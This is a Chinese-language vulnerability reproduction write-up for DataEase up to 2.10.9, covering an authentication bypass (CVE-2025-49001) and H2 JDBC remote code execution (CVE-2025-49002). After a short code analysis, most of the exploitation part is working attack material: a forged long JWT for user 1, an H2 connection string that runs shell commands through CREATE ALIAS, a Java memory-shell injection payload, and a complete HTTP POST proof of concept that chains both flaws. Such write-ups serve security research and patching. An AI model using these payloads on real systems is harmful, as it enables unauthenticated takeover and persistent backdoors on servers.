DataEase 远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)
声明
本文版权归原作者所有,未经允许禁止转载。
比较简单但又经典的漏洞,简单的复现一下。
CVE-2025-49001
漏洞概述
由于鉴权逻辑在处理异常时未及时返回,依旧进入业务处理逻辑,导致鉴权绕过。
影响范围
DataEase <= 2.10.9
漏洞分析
大致流程如图所示:
第一个过滤器:
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625223256059.png)
Token 请求头:X-DE-TOKEN:
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250626134222130.png)
第二个过滤器:
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625223548009.png)
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625234630292.png)
进入到 TokenUtils.validate(token),可以看到对 Token 长度进行判断,如果小于 100 则返回非法,因此这里第一个条件需要满足 Token 长度大于 100:
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625223707546.png)
最终进入到 userBOByToken,判断 uid 是否为空:
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625223911968.png)
又来到 CommunityTokenFilter,通过反射及 userid 来查找缓存中是否存在该用户是否存在?应该就是要传入一个存在的 userId:
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625225926664.png)
如果用户不存在则会报用户名或密码错误:
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625230026561.png)
综上 Token 需要满足:
- 长度大于 100
- 包含存在的 userId 值
漏洞利用
构造一个 Token,uid 设为 1,默认是存在的:
{
"uid": 1,
"test": "12345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612334561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561233456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123456123345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612345612334561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561234561233456123456123456123456123456123456123456123456"
}
JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsInRlc3QiOiIxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjMzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjMzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NiJ9.wBQkoPb0liQx0npJADAo13vWKCGnM33fjS3ZFg__wF8
正常鉴权:
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625230458856.png)
带上构造的 Token:
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625230416327.png)
CVE-2025-49002
漏洞概述
H2 数据库存在代码执行漏洞,由于连接数据库接口对于 H2 连接字符串的风险字符串过滤不当,导致了任意代码执行,配合 CVE-2025-49001 可造成前台 RCE。
影响范围
DataEase <= 2.10.9
漏洞分析
有两个接口,逻辑一模一样,以 getSchema 为例:
/de2api/datasource/validate
/de2api/datasource/getSchema
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625233838806.png)
获取连接:
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625231717392.png)
判断 type 类型,最终将 configuration JSON 字符串反序列化:
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625231911684.png)
获取连接字符串并传入:
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625232037720.png)
getJdbc 方法有一层判断,仅仅匹配大写,使用小写即可绕过:
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625232118674.png)
漏洞利用
整体 body 如下,需要手动构造 configuration:
{"id": "","name": "111", "description": "111","type": "h2","apiConfiguration":[], "paramsConfiguration":[], "enableDataFill": false, "configuration": ""}
命令执行
网上的文章似乎没有给出实际的 payload,需要手动看代码才能得到真正的 payload,首先需要构造一个 H2 的 payload:
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIt=CREATE ALIAS EXEC AS'String Application(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}';CALL EXEC('touch /tmp/1')
然后构造一个 JSON 字符串,对应的双引号需要转义,且 ; 也需要转义,因为 h2 的连接字符串的格式中包含 ..;key=value;...,是一个分隔符,而由于又是在字符串里边,所以需要两个 \:
{
"jdbcUrl":"jdbc:h2:mem:testdb",
"jdbc": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIt=CREATE ALIAS EXEC AS'String Application(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;return \"test\"\\;}'\\;CALL EXEC('touch /tmp/poc')"
}/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625232610731.png)
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625232653944.png)
注入内存马
经过转义后的 payload,其中 tomcatStr 填入字节码,Base64 编码后传入 configuration 参数:
{
"jdbcUrl":"jdbc:h2:mem:testdb",
"jdbc": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIt=CREATE ALIAS EXEC AS'String memshell(String str) throws java.lang.Exception {byte[] standBytes = null\\;String tomcatStr = \"\"\\;java.lang.Class unsafeClass = java.lang.Class.forName(\"sun.misc.Unsafe\")\\;java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;unsafeField.setAccessible(true)\\;sun.misc.Unsafe unsafe = (sun.misc.Unsafe) unsafeField.get(null)\\;java.lang.Module module = java.lang.Object.class.getModule()\\;java.lang.Class cls = EXEC.class\\;long offset = unsafe.objectFieldOffset(java.lang.Class.class.getDeclaredField(\"module\"))\\;unsafe.getAndSetObject(cls, offset, module)\\;java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, java.lang.Integer.TYPE, java.lang.Integer.TYPE)\\;defineClass.setAccessible(true)\\;byte[] bytecode = java.util.Base64.getDecoder().decode(tomcatStr)\\;java.lang.Class clazz = (java.lang.Class) defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length)\\;clazz.newInstance()\\;return \"\"\\;}'\\;CALL EXEC('')"
}首次利用可以先尝试 sleep 字节码,再注入内存马,这里就直接注入内存马必须是(JakartaListener):
完整 POC:
POST /de2api/datasource/getSchema HTTP/1.1
Host: x.x.x.x
Content-Type: application/json
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 708
X-DE-TOKEN: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsInRlc3QiOiIxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjMzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjM0NTYxMjMzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzNDU2MTIzMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NjEyMzQ1NiJ9.wBQkoPb0liQx0npJADAo13vWKCGnM33fjS3ZFg__wF8
{"id": "","name": "111", "description": "111","type": "h2","apiConfiguration":[], "paramsConfiguration":[], "enableDataFill": false, "configuration": ""}
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625233113565.png)
/IMG-18-DataEase-远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)-20250625233043534.png)